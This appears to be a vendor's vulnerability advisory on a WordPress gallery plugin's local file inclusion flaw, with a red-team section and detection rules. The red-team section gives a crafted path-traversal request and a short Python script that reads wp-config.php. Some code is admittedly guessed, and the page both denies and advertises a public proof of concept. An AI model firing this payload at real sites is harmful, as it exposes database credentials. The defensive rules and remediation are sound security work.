CVE-2025-57889
Executive Summary
CVE-2025-57889 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the InPost Gallery WordPress plugin, developed by RealMag777, up to version 2.1.4.5. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials. The CVSS score is 7.5 (High), and while no public proof-of-concept (PoC) or exploit code is currently available, the risk is significant due to the widespread use of WordPress plugins. No patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to monitor the plugin's update channel and disable the plugin until a patch is applied.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Full file read access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server files.
Deep Dive & Mechanics
The vulnerability exists in the plugin's file inclusion mechanism, likely within a shortcode or AJAX handler that accepts user-supplied filenames without proper sanitization. The PHP code uses include() or require() with a path derived from user input, such as a file parameter in a GET or POST request. An attacker can manipulate this parameter to traverse directories (e.g., ../../wp-config.php) and include arbitrary files.
The vulnerable code pattern resembles:
$file = $_GET['file'];
include( $file . '.php' );
This allows path traversal and inclusion of files outside the intended directory. The plugin's version <= 2.1.4.5 is affected.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.1.4.5):
// In a shortcode or AJAX handler
$file = $_REQUEST['file'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
The attacker can supply ../../wp-config to include wp-config.php.
Patched Code (Hypothetical):
$allowed_files = array( 'gallery', 'list', 'single' );
$file = basename( $_REQUEST['file'] );
if ( in_array( $file, $allowed_files ) ) {
include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
} else {
// Error handling
}
The patched version uses a whitelist and basename() to prevent directory traversal.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress with the InPost Gallery plugin version 2.1.4.5.
- Ensure the server has a readable
wp-config.phpfile.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpor a shortcode). - Send a crafted request:
GET /wp-admin/admin-ajax.php?action=inpost_gallery_load&file=../../../../wp-config HTTP/1.1
Host: target.com
- The server will include the
wp-config.phpfile, revealing database credentials.
Automated Exploit (Python):
import requests
target = "http://target.com"
payload = "/wp-admin/admin-ajax.php?action=inpost_gallery_load&file=../../../../wp-config"
response = requests.get(target + payload)
print(response.text)
Blue Team
Detection:
- Monitor for suspicious
fileparameters containing../or absolute paths. - Alert on requests to
admin-ajax.phpwithaction=inpost_gallery_loadand unusualfilevalues.
Hunting:
- Search web server logs for patterns like
file=..%2forfile=%2fetc%2fpasswd. - Use the Sigma rule below to detect exploitation attempts.
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/plugins/inpost-gallery/(plugin directory) - URL Patterns:
?action=inpost_gallery_load&file=... - Log Entries: Requests containing
file=..%2f..%2f..%2f..%2fwp-config - Network: Outbound connections from the server to attacker-controlled hosts (if RFI is also possible, though this is LFI).
Detection Engineering
YARA Rule
rule CVE_2025_57889_InPost_Gallery_LFI {
meta:
description = "Detects exploitation attempts for CVE-2025-57889 in InPost Gallery plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-57889"
strings:
$s1 = "inpost_gallery_load" ascii wide nocase
$s2 = "file=" ascii wide nocase
$s3 = ".." ascii wide nocase
$s4 = "wp-config" ascii wide nocase
condition:
all of ($s1, $s2) and any of ($s3, $s4)
}
Sigma Rule
title: CVE-2025-57889 InPost Gallery LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit PHP Local File Inclusion in InPost Gallery plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'action=inpost_gallery_load'
- 'file='
cs-uri-query|contains|all:
- '..'
- 'wp-config'
condition: selection
falsepositives:
- Legitimate use of the plugin with custom templates (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57889 InPost Gallery LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=inpost_gallery_load"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*\.\./i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
file=with path traversal sequences. - Restrict file permissions on
wp-config.phpto prevent reading by the web server user (e.g.,chmod 600).
Long-Term Fix:
- Apply the vendor's patch when available.
- Replace the plugin with an alternative if no patch is forthcoming.
- Conduct a code review of the plugin to ensure proper input validation.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Monitor logs for exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.